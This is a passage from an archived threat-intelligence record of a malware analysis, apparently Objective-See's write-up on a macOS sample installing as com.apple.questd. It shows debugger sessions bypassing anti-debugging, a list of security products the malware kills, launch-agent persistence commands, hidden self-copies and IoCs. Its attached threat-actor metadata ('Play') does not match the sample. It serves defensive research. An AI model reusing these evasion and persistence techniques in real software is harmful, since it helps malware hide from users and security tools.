1.1\r\n-\u003e 0x10000b89f: cmpl $0x0, %eax\r\n 0x10000b8a2: je 0x10000b8b2\r\n 0x10000b8a8: movl $0x1, %edi\r\n 0x10000b8ad: callq 0x10000feb2\r\nTarget 0: (patch) stopped.\r\n(lldb) reg read $rax\r\n rax = 0x0000000000000001\r\n(lldb) reg write $rax 0\r\n(lldb) c\r\nAll good? Almost! The malware contains more anti-debugging logic. A function called prevent_trace seeks to\r\nprevent tracing (debugging) via call to ptrace with the PTRACE_DENY_ATTACH flag ( 0x1F ):\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 20 of 29\n\n1__text:0000000100007C20 _prevent_trace proc near\r\n 2__text:0000000100007C20 push rbp\r\n 3__text:0000000100007C21 mov rbp, rsp\r\n 4__text:0000000100007C24 call _getpid\r\n 5__text:0000000100007C29 xor ecx, ecx\r\n 6__text:0000000100007C2B mov edx, ecx ; addr\r\n 7__text:0000000100007C2D xor ecx, ecx ; data\r\n 8__text:0000000100007C2F mov edi, 1Fh ; request\r\n 9__text:0000000100007C34 mov esi, eax ; pid\r\n10__text:0000000100007C36 call _ptrace\r\n11__text:0000000100007C3B pop rbp\r\n12__text:0000000100007C3C retn\r\n13__text:0000000100007C3C _prevent_trace endp\r\nTo bypass this, we simply avoid the call to _prevent_trace all together. However? Simply set a breakpoint on\r\nthe call to this function, then modify the value of the instruction pointer ( RIP ) to skip it!\r\n(lldb) b 0x000000010000B8B2\r\nBreakpoint 12: where = patch`patch[0x000000010000b8b2], address = 0x000000010000b8b2\r\n(lldb) c\r\nProcess 683 resuming\r\nProcess 683 stopped\r\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1\r\n \r\n-\u003e 0x10000b8b2: callq 0x100007c20\r\n 0x10000b8b7: leaq 0x7de2(%rip), %rdi\r\n 0x10000b8be: movl $0x8, %esi\r\n 0x10000b8c3: movl %eax, -0x38(%rbp)\r\nTarget 0: (patch) stopped.\r\n(lldb) reg write $rip 0x10000b8b7\r\n(lldb) c\r\nEasy peasy! Now we can continue our dynamic analysis unperturbed.\r\nAs its name suggests, the ei_persistence_main function persists the malware (as a launch agent). However,\r\nbefore persisting it invokes a function named kill_unwanted to kill several well known security products that\r\nmay detect or block malicious behaviors.\r\nThe kill_unwanted function gets a list of running processes, compares each process with a encrypted list of\r\n“unwanted” programs. With our aforementioned breakpoint on the ei_str function, we can dump the decrypted\r\nstrings, to ascertain the value of the “unwanted” programs:\r\n(lldb) x/s $rax\r\n0x100108fd0: \"Little Snitch\"\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 21 of 29\n\n(lldb) x/s $rax\r\n0x100100880: \"Kaspersky\"\r\n(lldb) x/s $rax\r\n0x1001028a0: \"Norton\"\r\n(lldb) x/s $rax\r\n0x10010a2f0: \"Avast\"\r\n(lldb) x/s $rax\r\n0x10010a300: \"DrWeb\"\r\n(lldb) x/s $rax\r\n0x100102eb0: \"Mcaffee\"\r\n(lldb) x/s $rax\r\n0x100109d20: \"Bitdefender\"\r\n(lldb) x/s $rax\r\n0x100109d30: \"Bullguard\"\r\n…one day, Objective-See’s tools will make such a list! HA!\r\nFinally the ei_persistence_main function persists the malware. Specifically it first calls the\r\npersist_executable function creates a persistent copy of itself. We can observe this via a file monitor, and/or in\r\nthe debugger.\r\nFirst, we observe the malware decrypting various strings related to persistence:\r\n(lldb) x/s $rax\r\n0x100118fd0: \"/Library/AppQuest/com.apple.questd\"\r\n(lldb) x/s $rax\r\n0x1001190f0: \"%s/Library/AppQuest/com.apple.questd\"\r\nIf the malware is running with non-root privileges it will write the copy of itself to\r\n~/Library/AppQuest/com.apple.questd . However, if running as root, it will also copy itself to\r\n/Library/AppQuest/com.apple.questd . This can be observed via a file monitor (such as macOS’s fs_usage\r\nutility). Here, we see a non-root instance of the malware creating ~/Library/AppQuest/com.apple.questd and\r\nensuring it is executable (via chmod ):\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 22 of 29\n\n# fs_usage -w -f filesystem\r\nopen F=4 /Library/AppQuest/com.apple.questd toolroomd.67949\r\nwrite F=4 B=0x1000 toolroomd.67949\r\n...\r\nclose F=4 toolroomd.67949\r\nchmod /Library/AppQuest/com.apple.questd toolroomd.67949\r\nopen F=4 ~/Library/AppQuest/com.apple.questd\r\nwrite F=4 B=0x1000 toolroomd.67949\r\n...\r\nclose F=4 toolroomd.67949\r\nchmod ~/Library/AppQuest/com.apple.questd toolroomd.67949\r\n$ md5 /Library/AppQuest/com.apple.questd\r\nMD5 (/Library/AppQuest/com.apple.questd) = 322f4fb8f257a2e651b128c41df92b1d\r\n$ md5 ~/Library/AppQuest/com.apple.questd\r\nMD5 (/Users/user/Library/AppQuest/com.apple.questd) = 322f4fb8f257a2e651b128c41df92b1d\r\nOnce the malware has copied itself, it persists via a launch item. The code that performs this persistence is found\r\nin the install_daemon function (address 0x0000000100009130 ), that is invoked via the ei_persistence_main\r\nfunction.\r\nIf running as non-root, it persists as a launch agent: ~/Library/LaunchAgents/com.apple.questd.plist . Below\r\nwe dump that arguments passed to the install_daemon …first, when the malware is installing itself as a launch\r\nagent: `\r\n$ lldb /Library/mixednkey/toolroomd\r\n...\r\n* thread #1, stop reason = breakpoint 1.1\r\nframe #0: 0x0000000100009130 toolroomd\r\n-\u003e 0x100009130: pushq %rbp\r\n 0x100009131: movq %rsp, %rbp\r\n 0x100009134: subq $0x150, %rsp\r\n 0x10000913b: movq %rdi, -0x10(%rbp)\r\nTarget 0: (toolroomd) stopped.\r\n(lldb) x/s $rdi\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 23 of 29\n\n0x7ffeefbffc94: \"/Users/user\"\n(lldb) x/s $rsi\n0x100114a20: \"%s/Library/AppQuest/com.apple.questd\"\n(lldb) x/s $rdx\n0x100114740: \"%s/Library/LaunchAgents/\"\nIt uses the arguments to build a path for a launch item (here, launch agent) property list\n( /Users/user/Library/LaunchAgents/com.apple.questd.plist ), as well then configuring said plist.\nContinuing the debugging session, we observes the malware decrypted an embedded (template) plist, that is then\npopulated with the path to the persistent binary (e.g. /Users/user/Library/AppQuest/com.apple.questd ).\nx/s $rax\n0x100119540: \"?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\nLabelquestdProgramArguments/Users/user/Library/AppQuest/com.apple.questd--silentRunAtLoadKeepAlive As the RunAtLoad key is set to true the malware ( com.apple.questd ) will be automatically restarted each\ntime the user logs in.\nhttps://objective-see.com/blog/blog_0x59.html\nPage 24 of 29\n\nOf course BlockBlock detects this persistence attempt 😇\nIf the malware is running with root privileges it will invoke the install_daemon function again, but this time\npassing in arguments specifying that a launch daemon should be created:\n$ cat /Library/LaunchDaemons/com.apple.questd.plist\n?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\nUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\nLabelquestdProgramArgumentssudo/Library/AppQuest/com.apple.questd--silentRunAtLoadKeepAlive https://objective-see.com/blog/blog_0x59.html\nPage 25 of 29\n\nOnce the malware has ensured it is persisted (twice, if running as root!), it invokes the ei_selfretain_main to\r\nstarts the launch item(s). This function invokes the aptly named run_daemon which in turn invokes macOS\r\nosascript binary to launch the items. We can observe this via a process monitor, for example, when the\r\nmalware starts the launch daemon:\r\n# procInfo\r\n[process start]\r\npid: 1142\r\npath: /usr/bin/osascript\r\nuser: 0\r\nargs: (\r\n osascript,\r\n \"-e\",\r\n \"do shell script \\\"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl sta\r\n)\r\nOnce the malware was persisted and kicked off the launch items, it invokes a function named\r\ncreate_rescue_executable to create yet another copy of itself. This copy will made in the user’s Library\r\ndirectory. Its named starts with a . so that it won’t show up in the UI (i.e. Finder.app ), and is then followed\r\nvia 9 random characters. For example: ~/Library/.9W4S5dtNK .\r\nThe malware also appends a some trailer data to this copy:\r\nThe contents of this file are also saves in global variable named priv_rescue_data , which allows the malware to\r\n‘rescue’ itself if it deleted from disk (yet still running in memory). Looking at the cross-references to this variable\r\nreveal its (later) references in function such as resque_myself and persist_executable\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 26 of 29\n\n…clearly this malware doesn’t want to be removed from an infected system!\r\nVia a process monitor, we can observe the malware then kicking off this “configured” copy via the launchctl\r\nsubmit -l ... command:\r\n[procInfo] process start:\r\npid: 737\r\npath: /bin/launchctl\r\nuser: 501\r\nargs: (\r\n launchctl,\r\n submit,\r\n \"-l\",\r\n questd,\r\n \"-p\",\r\n \"/Users/user/Library/.9W4S5dtNK\"\r\n)\r\n[procInfo] process start:\r\npid: 738\r\npath: /Users/user/Library/.9W4S5dtNK\r\nuser: 0\r\n...\r\n \r\nSo, now the malware has persisted and launched a configured (i.e. with “trailer” data) instance of itself. What does\r\nit appear to do? Actually a lot! … pop over to part two, to read all about it!\r\nConclusion\r\nToday, we triaged an interesting piece of new malware - detailing its infection vector, persistence, and anti-analysis logic.\r\nThough new, our (free!) tools such as BlockBlock and RansomWhere? were able to detect and thwart various\r\naspects of the attack …with no a priori knowledge!\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 27 of 29\n\nIoCs:\r\n/Library/mixednkey/toolroomd\r\n/Library/AppQuest/com.apple.questd\r\n~/Library/AppQuest/com.apple.questd\r\n/Library/LaunchDaemons/com.apple.questd.plist\r\n~/Library/LaunchAgents/com.apple.questd.plist\r\nNote though if you are infected, due to the malware’s viral infection capabilities, it is recommended that one wipes\r\nthe infected system and fully reinstalls macOS.\r\n❤️ Love these blog posts and/or want to support my research and tools?\r\nYou can support them via my Patreon page!\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 28 of 29\n\n[\r\n](https://www.patreon.com/bePatron?c=701171)\r\nSource: https://objective-see.com/blog/blog_0x59.html\r\nhttps://objective-see.com/blog/blog_0x59.html\r\nPage 29 of 29",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"MITRE"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x59.html"
	],
	"report_names": [
		"blog_0x59.html"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775439015,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e506803e52295c4ac00e5fe9407d2718ab06032e.pdf",
		"text": "https://archive.orkl.eu/e506803e52295c4ac00e5fe9407d2718ab06032e.txt",
		"img": "https://archive.orkl.eu/e506803e52295c4ac00e5fe9407d2718ab06032e.jpg"
	}
}